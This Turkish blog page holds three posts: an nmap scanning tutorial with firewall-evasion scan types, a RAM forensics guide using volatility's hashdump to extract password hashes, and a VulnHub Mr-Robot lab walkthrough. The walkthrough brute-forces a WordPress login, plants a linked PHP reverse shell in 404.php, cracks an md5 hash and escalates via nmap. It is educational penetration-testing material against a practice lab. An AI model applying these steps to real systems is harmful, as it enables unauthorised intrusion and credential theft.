Genelde pentesterlar ağı keşfetmek, ip adreslerini, ayaktaki makineleri ve açık portları, çalışan servisler ve onların versiyonlarını keşfetmek amacıyla kullanır. Ağ yöneticileri de ağı haritalamak için NMAP kullanır. NMAP alanının en iyisi desek herhalde itiraz eden çıkmaz. Bu taramalar root yetkisi ile yapılırsa daha sağlıklı olacaktır. Diğer yandan bu tarama sonuçları kesin olmayabilir. Manipüle edilebilir. Honeypota çarpmış olabiliriz. Özellikle TCP taraması başlatmadınız ise güvenilir olmayabilir.(Acelemiz yok TCP taramasını anlatacağız ileride.) Diğer yandan taramalar sisteme ciddi bir yük bindirip erişimin kesilmesine sebep olabilir. Bu yüzden dikkat etmek iyi olacaktır. Son olarak aktif keşif yapıyorsunuz. Yani sizinle ilgili her şey log kaydına düşüyor. Sistem sahibi sizi takip ediyor olacaktır. O yüzden izinsiz bir tarama yapmamanızı öneririm. Özellikle ktirik sistemler ise… Bu log kayıtlarından sizin tespit edilmenizi zorlaştıran yöntemler de var tabii. Onları da anlatacağız.

Biz genelde pentest işlemi sırasında nasıl bir yol izleriz?

Öncelikle ağı keşfedeceğiz. Ağdaki açık makineleri tespit edeceğiz. Söz konusu bir domain ise DNS sorgusu ile ip adresini almamız gerek. Daha sonra çalışan makinenin üzerinde at koşturan servislere bir bakacağız neler var. Bu servislerin versiyonları ne? Bunları keşfettikten sonra bu makinenin işletim sistemi nedir, firewall bulunduruyor mu gibi sorulara cevap bulacağız. Daha sonra Firewall varsa onları atlatmaya bakacağız. Tespit ettiğimiz servislerin o versiyonlarındaki açıkları keşfedip uygulamaya koyacağız.

Taramaya Başlamak…

nmap 192.168.1.15

Bu tarama bize hedef sistemin en popüler bin portunu tarar ve çalışan versiyonları servisi ile karşımıza koyar. Bir domain girdiniz ise DNS çözümlemesi yaparak ip adresini de belirtir ve sistemin ayakta olup olmadığını, cihaz ismini verir.

Peki biz tek bir hedef taratmak istemiyorsak? Onun için de aşağıdaki tarama yöntemlerine göz atmak gerekecek.

nmap -A 192.168.1.15

Yukarıdaki taramanın ismi agresif tarama. Bu tarama yukarıda anlattıklarıma ek olarak sistemin işletim sistemini tahmin eder, gönderilen paketin aldığı yolları takip ederek haritalandırır, versiyon tespiti sırasında da nmap scriptlerini kullanır. (Bu script meselesini de anlatacağız.)

Taramada Hedef Belirtmek

  • nmap 192.168.1.1, 192.168.1.22, 192.168.1.34 : Bu şekilde birden fazla adresi tarayabilirsiniz.
  • nmap 192.168.1.1-40 : Bu şekilde 192.168.1.1 adresinden başlayarak sonu 40 olana kadar tüm adresleri tamamlar. Toplamda 40 hedef demektir bu da.
  • nmap 192.168.1.0/24 : Bu tarama ile 192.168.1.x aralığındaki tüm ip adreslerini tarar.
  • nmap -iL hedefler.txt : Bu parametre sayesinde not defterine kaydettiğiniz tüm hedefleri satır satır alarak tarayacaktır.
  • nmap 192.168.1.0/24 –exclude 192.168.1.55 : exclude parametresi sayesinde bir listede taranmasını istemediğiniz adresi listeden çıkartabilirsiniz. Örnekte 192.168.1.55 adresi taramaya dahil edilmeyecektir.
  • nmap 192.168.1.0/24 –exclude list.txt : Bu sayede de tarama yaptığımız ip aralığında, belirtiğimiz listedeki adreslerin tarama dışı kalmasını sağlıyoruz. Not defterindeki hedefler taramaya dahil edilmeyecektir.
  • nmap -6 [hedef] : ipv6 taraması yapmamızı sağlar.

Taramada Port Belirtmek

Peki önce şundan bahsedelim : Port Nedir? Port en basit anlamda sizlerin bilgisayarındaki veri kapılarıdır. Veri akışı onlar sayesinde yapılır.Bilgisayarınızın bir ip adresi var. Ancak birden fazla internete bağlı programla çalışıyorsunuz. Bu durumda nasıl veri akışı gerçekleşecek? Farklı kapılardan, yani farklı portlardan. Toplamda 2 üzeri 16 yani, 65535 adet port açılabilir. Sanıyorum ki bu kadar kapı size fazlasıyla yeter 🙂  En sık kullanılan portlar ve onlarda çalışan default sistemleri aşağıda listeledim. (65535 port TCP ve UDP olarak ayrılıyor. Yani verdiğimiz sayının iki katı söz konusu ya bu ayrı bir yazı konusu. Kafanızı çok takmayın şimdilik.)

  • File Transfer Protocol(FTP) 20/21
  • Secure Shell(SSH) 22
  • Telnet 23
  • Simple Mail Transfer Protocol(SMTP) 25
  • Domain Name System(DNS) 53
  • Domain Host Configuration Protocol(DHCP) 67/68
  • Hypertext Transfer Protocol(HTTP) 80
  • HTTPS 443
  • NetBIOS 137/138/139
  • Internet Message Access Protocol(IMAP) 143
  • Simple Network Management Protocol(SNMP) 161/162
  • Hypertext Transfer Protocol over SSL/TSL(HTTPS) 443

Uzun bir liste : http://www.ciscotr.com/forum/network/428-tum-port-numaralari-list-tcp-udp-port.html

Nihayetinde nmap taraması belirtilmedikçe en popüler ilk bin portu tarar. Ancak biz başka bir portu taramak istiyorsak? Sistem sahibi bir servisin standart çalıştığı port yerine başka bir port girmişse biz o sistemden bihaber olacağız. Veya kapsamlı bir tarama yaparak portların tamamına göz atmak istiyor olabiliriz. İşte bunun için de aşağıdaki parametreler bize çözüm olacak.

  • nmap 192.168.1.15 -p 80 : Bu tarama ile yalnızca 80 portunu tararsınız.
  • nmap 192.168.1.15 -p 80,443,53 : Bu sayede birden fazla port taramanız mümkün.
  • nmap 192.168.1.15 -p 80-100 : Burada da 80 ile 100 arasındaki tüm portları taradık.
  • nmap 192.168.1.15 -p- : Bu da en kapsamlı olanı. Tüm portları tarayacaktır. Kaç adet demiştik? 65535
  • nmap -p ftp,https,telnet 192.168.1.15 : Burada sayısal olarak girmek yerine portları isim olarak girdik. Girdiklerimizi tarayıp sonucu verecektir.
  • nmap -p “http*” 192.168.1.15 : Bu sayede hem http hem de https çalışan portları tararız.
  • nmap 192.168.1.15 –top-ports 400 : Bir şey belirtmememiz halinde NMAP en popüler 1000 portu taramıştı değil mi? Biz en popüler ilk kaç portu tarayabileceğini belirtebiliriz. Tıpkı burada olduğu gibi.
  • nmap -F 192.168.1.15 : Bu sayede de en popüler 100 portu tarayarak hızlı olmasını göz önüne alırsak verimli bir tarama gerçekleştiririz.
  • nmap -r 192.168.1.15 : Bu parametre ile verilen portlar ardışık olarak taranır. Siz bir şey belirtmediniz ise nmap verdiğiniz portları rastgele tarar.

Port Tarama Sonuçları

Gelelim bu portlar tarandığında yazan sonuçların anlamlarına.

  • Open : Port açık demek. Aradığımız şey tam da bu. Bu portun üstünde çalışan sistemin üzerine gidebiliriz.
  • Close : Port kapalı. Ancak nihayetinde böyle bir servis var. Aktif olma ihtimali de var. Yine de şu an üstüne gidemeyiz.
  • Filtered : Açık veya kapalı olduğu net değil. Muhtemelen bir firewall sistemi devrede.
  • Unfiltered : ACK taramalarında karşınıza çıkar. (Bunu da anlatacağız.) Erişilebilir ancak açık olmama ihtimali de var demektir.
  • Open | Filtered : Açıkveya filtreli olup olmadığı tespit edilememiş.
  • Close | Filtered : Kapalı veya filtreli olup olmadığı tespit edilememiş.

Gelişmiş Tarama Türleri

NMAP,sistemde yetkili olup olmamanıza göre farklı standart taramalar yapar. Ancak elbette bu tarama tipini değiştirmemiz de mümkün.

TCP Syn Scan : -sS parametresi kullanılır. Bu şekilde SYN paketleri göndererek tarama yapılır. Log kayıtlarına yakalanmaması garanti edilmez. Günümüzde gelişmiş firewaller tespit edebiliyor fakat bir sonraki bahsedeceğimiz taramaya oranla daha az riskli olduğunu söyleyebiliriz. Yetkili erişiminiz varsa bu tarama türünü standart olarak gerçekleştirir.(Linux’taki root yetkisini örnek verebiliriz evet.)

Örnek kullanım : nmap -sS 192.168.1.15

TCP Connect Scan : -sT parametresi kullanılır. Direk olarak sistemle bağlantı kurduğu için log kayıtlarına düşmemeniz pek de mümkün değil. Ancak Syn Scan taramasına kıyasla daha net sonuçlar elde edersiniz. Örneğin servislerin versiyonlarını ararken daha kesin sonuçlar karşınıza çıkar. Yetkili erişiminiz olmaması halinde bu tarama standart olarak gerçekleşir.

Örnek Kullanım : nmap -sT 192.168.1.15

UDP Scan : -sU parametresi kullanılır. UDP paketleri ile tarama yapar. Birçok servis TCP protokolü ile anlaşırken hala UDP kullanan servisler var. Haliyle mevcut taramanızın yanında UDP taraması yapmak daha kapsamlı bir sonuç üretecektir. Ancak UDP taraması biraz uzun sürecektir.

Örnek kullanım : nmap -sU 192.168.1.15

TCP Null Scan : -sN parametresi kullanılır. Bayrak bulundurmayan boş TCP paketleri gönderir. Yine de log kayıtlarına düşer. Gerçek hayatta olmayan bir senaryodur. Karşı taraftaki güvenlik duvarını atlatmamızı sağlayabilir.

FIN Scan : -sF parametresi ile kullanılır. TCP üçlü el sıkışmasının ilk aşamasını gerçekleştirmez. Burada da amaç, şayet bir güvenlik sistemi varsa sistemden cevap almak için ters köşe yapmaktır diyebiliriz. FIN paketi gönderildiğinde karşı makinenin o portu kapalıysa RST+ACK paketi dönerken, portun açık olması halinde hiçbir tepki verilmez.

Örnek Kullanım : nmap -sF 192.168.1.15

XMAS Scan : -sX parametresi ile kullanılır. Bazı güvenlik duvarlarından sonuç almamızı sağlayabilir. TCP paketinin içine URG, PSH ve FIN bayrakları ekler. Hedef makineden dönen cevap FIN taraması ile aynıdır.

TCP ACK Scan : -sA parametresi kullanılır. Hedef sistemin güvenlik duvarı bulundurup bulundurmadığını tespit etmek için kullanılabilir. Tek vazifesi filtreli ve filtresiz paketleri ayırt etmektir. Kapalı veya açık olma durumlarına bakmaz. Hatırlarsanız üçlü el sıkışmada ACK paketi gönderirdik. Karşı taraf ACK+RST gönderirdi. Sistem gönderdiği paketlere RST ekledi ise filtresiz demektir.

–scanflags : TCP tarama bayraklarını manuel girmek isterseniz kullanabilirsiniz. Örnek kullanım : nmap –scanflags [bayrak_tipi] [hedef]

IP Protocol Scan : -sO parametresi kullanılır. Hedef sistemde desteklenen IP porotokollerini gösterir.(TCP, UDP, ICMP…) Ne tür taramalar yapmak istediğinizi belirlemek için güzel bir çözüm olacaktır.

Keşif & Ping

Bir sistemin çalışır halde olup olmadığını anlamak için ona ping göndeririz. Bu sayede tim ip adreslerini tek tek aramak zorunda kalmayız. Standart bir taramada ICMP isteği gönderilir ve cevaba göre hareket edilir. Ancak güvenlik sistemleri ICMP isteklerini genelde engeller ve siz de buna bir çözüm bulmak için aşağıdaki parametreleri kullanırsınız.

-PN : Bazı güvenlik duvarları ping gönderildiğinde karşılık vermez. Bu durumda -PN parametresini kullanırsanız NMAP, o makineyi ayakta kabul edecek ve taramaya başlayacak.

-sP : İp adresi aralığındaki hangi makineler açık onları listeler ve port taraması yapmaz. Root yetkisi ile çalıştırırsanız yerel bir ağda mac adreslerini de size listeleyecektir.

-PS : Makinelere ping gönderilirken standart olarak 80 portu tercih edilir. Ancak siz bunu değiştirebilirsiniz. Ping göndererek yapılan kontrol işleminde istediğiniz portu seçmeniz mümkün. Örneğin : nmap -PS 80,22,443,25 [hedef]

-PA : Standart durumlarda ICMP taraması gerçekleştiğini söylemiştik. Bu işlem üçlü el sıkışması gibidir. ACK paketleri gönderilmesini sağlar. ICMP engelleyen güvenlik duvarları bulunuyorsa bu tarama biçimi çözüm olabilir.

-PU : UDP paketleri göndermeyi tercih eder. Varsayılan port numarası 40125’tir. Bunu değiştirmeniz de mümkün. Örneğin : nmap -PU 22,25,80,443 [hedef]

-PY : Hedefin Akış Kontrol İletim Protokolünü (SCTP) kullanarak keşif yapar. SCTP ise genelde ip tabanlı telefon sistemlerinde kullanılır. Yine PU’da olduğu gibi port belirtmeniz mümkün.

–traceroute : Bu parametre sayesinde gönderilen paketlerin sizin cihazınızdan çıktıktan sonra dünyanın nerelerini dolaşıp karşı makineye ulaştığını keşfedebilirsiniz.

İşletim Sistemi  ve Servis Versiyonu Keşfi

İşletim Sistemi Keşifleri

-O veya –osscan-guess parametreleri ile işletim sistemlerini tespit edebilirsiniz. NMAP, makineden topladığı tüm verileri bir araya getirerek bir sonuç ortaya koyar. Ancak ikinci seçeneği tercih ederseniz daha agresif davranır ve olasılığı daha yüksek sonuçlar elde edersiniz.

Örnek Kullanım : nmap -O 192.168.1.15

Versiyon Keşifleri

-sV parametresi sayesinde çalışan servislerin versiyonları hakkında bilgi edinebiliriz. Bu parametreyi eklememiz halinde NMAP, servislerden bilgi toplamaya başlar ve sonuçta elde ettiği verileri bir araya getirerek versiyonunu tespit eder.

Örnek kullanım : nmap -sV 192.168.1.15

–version-trace parametresini kullanırsanız versiyon taraması için bilgi toplaması vazifesi ile görevlendirdiğimiz casus paketimizin nereleri dolandığını görebilirsiniz. Bu sayede herhangi bir hatanın tespitini de yapmanız mümkün.

-sR, RPC (remote procedure call) taraması yapmak için kullanılan bir parametredir.

RPC NEDİR : RPC, sunucu ve istemcilerin iletişimi için dizayn edilmiş bir servistir. Kullandığınız herhangi bir uygulama sunucu istemci iletişimine ihtiyaç duyuyor ise eğer RPC servisini kullanabilir. Bir mail server için örnek vermek gerekir ise, istemci yani mail almak veya göndermek isteyen bir makine mail server’ a pop3 ile bağlanarak mail alabilir ve smtp üzerinden mail gönderebilir. Mail server tarafında bu servislerin çalışıyor olması gerekmektedir ki gelen isteklere cevap verebilsinler. Aynı örnekten yola çıkarak Microsoft Exchange Server istemcilere pop3 ve smtp desteği sunuyorken ayrıca iletişim için RPC protokolünüde kullanabilmektedir. Burada RPC istemci ve sunucu arasındaki iletişimi gerçekteştiren servis olarak gözlemlenmektedir ( tabiki mail trafiği ile ilgili olan iletişim ).
Özetle RPC sunucu ve istemci arasında çalışan programların ( yapılan işlemlerin ) iletişimi için dizayn edilmiştir. 

Kategoriler
Adli Bilişim Linux

Adli Bilişimde Ram İmajı Almak ve Ram Analizi

İmaj alma ve üzerinde çalışma yapma aşamasından öncesinde ram mantığını anlatmak isterim kısaca. Ram, Random Access Memory demektir. Yani rastgele erişilebilir bellek. Geçici hafıza dediğimiz kısımdır. Sizlerin bilgisayarınızda kalıcı olarak saklamak istemediğiniz, gerek duymadığınız şeyler burada saklanır. Örnek vermek gerekirse, bir oyun oynuyorsunuz ve açılışta bir bekleme süresi tanıyor. İşte bu esnada oyun paketleri geçici belleğe yüklenir. Bu sayede daha hızlı erişim sağlanır oyun esnasında. Kimi oyunlarda belli bir aşamaya gelince birkaç saniyeliğine bekletir ve yeni dosyaları o aralıkta geçici belleğe aktarmayı tercih eder. Diğer yandan çerez bilgileri, son yaptığınız işlemler ve daha pek çok şey bu bellekte yer alır. Ancak enerji kesildiğinde yani bilgisayarı kapattığınızda, şarjı bittiğinde veya prizden çektiğinizde, özetle bilgisayarın enerjisini kestiğinizde geçici bellek kendini sıfırlar. Şimdi ram analizi yaparken nelere erişebileceğimiz kafanızda daha iyi şekillenmiş olmalı.

Öncelikle ram imajını nasıl alacağız bunu anlatalım. Demiştik ya enerji kesintisinde bellek kendini sıfırlar. İşte bu yüzden çalışır durumda kalmak zorundadır imaj alınacak cihaz. Filmlerden hatırlarsınız, bir hacker vardır özel tim girer kapıyı bir tekmeyle parçalar, hackerı tutuklar kasayı çeker sırtlar götürür. Öyle bir dünya yok. O enerji kesilirse ramdeki tüm bilgiler kaybolur. Çalışır halde imaj alınmalıdır. Diğer yandan şayet siz kapınızda özel tim falan görürseniz ramdeki bilgileri kaçırmak adına bilgisayarı kapatabilirsiniz evet.

Ram imajı almak için yardımcı birçok program var. Ben Windows’ta çalıştığınızı kabul ederek Ram Capture programını önereceğim. Programı açtıktan sonra “.mem” uzantılı imajın nereye kaydolacağını belirliyorsunuz ve capture butonuna basıyorsunuz. Hepsi bu. Belli bir sürecin sonunda imajı alıyor. İşte şimdi o bilgisayar kapanabilir. Çünkü geçici belleğin kopyası eksiksiz elinizde.

Gelelim bunun incelenmesine. İncelemeyi de linux üzerinde yaptığınızı kabul ediyorum ve “volatility” aracı üzerinden anlatımıma devam ediyorum. Öncelikle ram dosyamızın olduğu dizine geçiyoruz “cd” komutu ile. Daha sonra çalışmaya başlıyoruz. “volatility -f ram.mem imageinfo” komutu ile ram imajımızı aldığımız bilgisayarın işletim sistemine dair bilgi topluyoruz. Sonraki komutlarda da ihtiyacımız olacak.

Daha sonrasında çok fazla komutla çalışmak mümkün. Tamamı için “volatility -help” komutunu çalıştırabilirsiniz. Ben önemli olanlardan bahsedip birkaç örnek görüntü paylaşacağım.

volatility -f ram.mem –profiles WinXPSP2x86 hashdump

Bu komut ile Windows sistemdeki kullanıcıları ve şifrelerini tespit etmeniz mümkün. Şifreler md5 formatında geliyor olacak.. Onları kırmak da size kalmış.

volatility -f ram.mem –profiles WinXPSP2x86 iehistory

Bu komutla da internet explorer geçmişini görmek mümkün. Aman canım explorer kullanan mı kaldı? Eh kalmadı fakat ben yine yazımda belirteyim. Chrome ve diğer tarayıcılardan geçmişi çeken araçlar da var.

volatility -f ram.mem –profiles WinXPSP2x86 notepad

Bu komut ise notepad üzerinde yapılan son işlemleri kaydeder. Dikkat ettiyseniz internet geçmişinde son girilenlerde bir txt dosyası yer alıyordu. Burada da acaba onda ne yazıyormuş diye bakmış olduk. Son yazılan sizce de şüpheli değil mi? Sezar şifrelemeye benziyor. İsterseniz araştırın bakalım ne yazıyormuş notepad dosyasındaki şifreli metinde 🙂

volatility -f ram.mem –profiles WinXPSP2x86 pslist

Pslist ile o esnada çalışan programları görmek mümkün. Ram imajı aldığınız programı da görmeniz güçlü ihtimal. Sonuçta son çalışanlar listesinde o da var.

volatility -f ram.mem –profiles WinXPSP2x86 dlllist

Bu komutta ise dll listesi oluşturur bizim için. Bu komutla beraber örneklerimi sonlandırayım. Sizler diğer komutları inceleyebilirsiniz. Çok ilginizi çeken bir komut varsa veya merak ettiğiniz, yorum olarak bırakabilirsiniz. Sürücüleri listelemek, dump işlemleri yapmak da mümkün imaj içerisinde.

Kategoriler
Linux Siber Güvenlik

Mr-Robot Pentestlab Challange

PentestLAB içinde üç adet flag bulunmaktadır. Beginner düzeyinde olan Mr-Robot PentestLAB indirme linklerine ve lab hakkındaki diğer bilgilere Vulnhub’dan ulaşabilirsiniz.
https://www.vulnhub.com/entry/mr-robot-1,151/

PDF formatında çözüme şuradan ulaşabilirsiniz : https://drive.google.com/open?id=1EmGawNq-cc1aY-agVj-5qaQTwnA3tQNK

Verilen sanal makineyi kurduktan sonra NAT ağına bağladım. Girişte şifre ekranı ile karşılaştım. Bu demektir ki direk makineye erişimim yok. Başlangıçta herhangi bir bilgi de verilmiyor.

Linux tabanlı ParrotOS işletim sistemim üzerinden işlem yapmaya başlıyorum. “ifconfig” komutu ile ip aralığımı öğreniyorum.

Daha sonra pentestlabın ip adresini temin etmek için netdiscover aracılığı ile bir tarama gerçekleştiriyorum. 192.168.247.131 benim pentestlabımın adresi.

netdiscover -r 192.168.247.128

“192.168.247.131” adresine ait açık portlara bakmak gerek. Bir nmap taraması başlatıyorum. 22 portu kapalı olmasına rağmen karşıma çıkartıyor. 80 portu açık. Bu demektir ki web üzerinden işlem yapabilirim.

Daha sonra bu adresi Mozilla tarayıcıda yokluyorum. Terminal görünümü verilmiş bir web sitesi karşılıyor beni.  Seçenekleri yokluyorum fakat herhangi bir ipucuna rastlamıyorum.

Nikto aracı ile bir tarama yapıyorum ve birkaç uzantı karşıma çıkıyor. “robot.txt” ve “license.txt” dikkatimi çekiyor. İkisini de tekrar tarayıcıma yazıyorum. Daha önemlisi sitenin wordpress olduğunu ve apache server kullandığını anlıyorum.

“robots.txt” içerisinde üç flagden birisi ve bir wordlist mevcut. İlk flagimi not alıp admin panelini yokluyorum.

Şimdi admin paneline giriş yapmayı deniyorum. “Admin:admin” veya “admin:password” denemelerim başarılı olmayınca fark ediyorum ki kullanıcı adı admin değil. Ana temamız Mr Robot’tan yola çıkarak kullanıcı adına “elliot” demeyi deniyorum. Kullanıcı adı doğru fakat sık kullanılan parolaları test etsem de parolayı bulamıyorum. “robots.txt” ile elde ettiğim wordlist burada işe yarayacaktır diye tahmin ederek bir tarama başlatıyorum.

Wp-scan aracı ile tarama başlatıyorum fakat bu oldukça uzun sürüyor.

wpscan –url 192.168.56.101 –username elliot –wordlist /home/deneyimsizdenek/Desktop/fsocity.dic

Nihayetinde şifre ortaya çıkıyor.

Giriş yapmayı deniyorum ve beni wordpress admin paneli karşılıyor.

Şimdi de siteye shell yedirmek için menüde şu yolu izliyorum : Appearance > Editor > 404.php
404.php sayfasına belirlediğim php shelli yerleştiriyorum.Shell üzerindeki ip adresi kısmını ve port kısmını düzenliyorum.

Shelli şuradan indirebilirsiniz : https://drive.google.com/open?id=1ieRK9Zg-MF_XeGNGTsVUNqWoDytpjHuA

Daha sonra “1234” portunu dinlemeye başlıyorum. Listening karşılığını aldıktan sonra “192.168.247.131/404.php” adresine giriyorum. “$” işareti ile shelli başlattığımı anlıyorum.

“ls” komutu ile klasörleri listeliyorum. “Root” klasörüne erişim iznim yok, fakat mevcut kullanıcım ile hak elde edeceğim daha sonra. Şimdilik home klasörüne ardından da robot klasörüne giriyorum. (Örnek komut : cd home veya cd robot) Daha sonra karşıma password.raw-md5 ve key-2-of-3.txt dosyaları çıkıyor.İkinci keye erişim iznim yok fakat md5 dosyasına var. Ve sonuç karşımda…

Elde ettiğim md5’i crackstation.net sitesinde kırmayı deniyorum. Ve şifrenin “abcdefghijklmnopqrstuvwxyz” olduğunu buluyorum. Kullanıcı ismi ise “robot”.

PentestLAB login kısmına bu bilgilerle giriş yapmayı deniyorum.Giriş yapıyorum fakat root yetkilerine sahip değilim. Nmap kullanarak root klasörüne erişiyorum ve son flagi elde ediyorum.